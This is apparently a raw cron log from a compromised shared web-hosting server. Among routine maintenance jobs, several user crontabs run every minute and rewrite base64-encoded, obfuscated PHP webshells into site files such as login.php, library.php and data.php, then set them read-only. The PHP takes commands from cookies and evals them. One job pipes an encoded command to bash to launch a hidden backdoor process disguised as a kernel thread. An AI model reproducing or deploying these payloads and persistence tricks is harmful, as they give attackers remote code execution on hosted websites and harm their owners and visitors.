Mar  2 04:00:02 medusa CROND[27061]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:00:02 medusa CROND[27059]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  2 04:00:02 medusa CROND[27066]: (root) CMD (/usr/bin/flock -n /var/run/clean_packages.cronlock /usr/share/cloudlinux/clean_packages.sh &> /dev/null)
Mar  2 04:00:02 medusa CROND[27069]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:00:02 medusa CROND[27070]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:00:02 medusa CROND[27071]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  2 04:00:02 medusa CROND[27072]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  2 04:00:02 medusa CROND[27077]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 04:00:02 medusa CROND[27084]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Mar  2 04:00:02 medusa CROND[27073]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  2 04:00:02 medusa CROND[27067]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 04:00:02 medusa CROND[27085]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:00:02 medusa CROND[27058]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 04:00:02 medusa CROND[27094]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:00:02 medusa CROND[27097]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:00:02 medusa CROND[27096]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 04:00:02 medusa CROND[27101]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 04:00:02 medusa CROND[27095]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 04:00:02 medusa CROND[27102]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 04:00:02 medusa CROND[27103]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:00:02 medusa CROND[27104]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:00:02 medusa CROND[27107]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 04:00:02 medusa CROND[27108]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 04:00:02 medusa CROND[27117]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  2 04:00:02 medusa CROND[27120]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 04:00:02 medusa CROND[27122]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 04:00:02 medusa CROND[27139]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:00:02 medusa CROND[27142]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 04:00:02 medusa CROND[27147]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:00:02 medusa CROND[27138]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 04:00:02 medusa CROND[27137]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 04:01:01 medusa CROND[12740]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 04:01:01 medusa CROND[12883]: (root) CMD (run-parts /etc/cron.hourly)
Mar  2 04:01:01 medusa run-parts(/etc/cron.hourly)[12883]: starting 0anacron
Mar  2 04:01:01 medusa run-parts(/etc/cron.hourly)[12941]: finished 0anacron
Mar  2 04:01:01 medusa CROND[13000]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:01:01 medusa CROND[13002]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 04:01:01 medusa CROND[13004]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 04:01:01 medusa CROND[13005]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 04:01:01 medusa CROND[13001]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 04:01:01 medusa CROND[13012]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 04:01:01 medusa CROND[13013]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 04:01:01 medusa CROND[13014]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 04:01:01 medusa CROND[13016]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 04:01:01 medusa CROND[13017]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:01:01 medusa CROND[13018]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:01:01 medusa CROND[13027]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 04:02:01 medusa CROND[29740]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
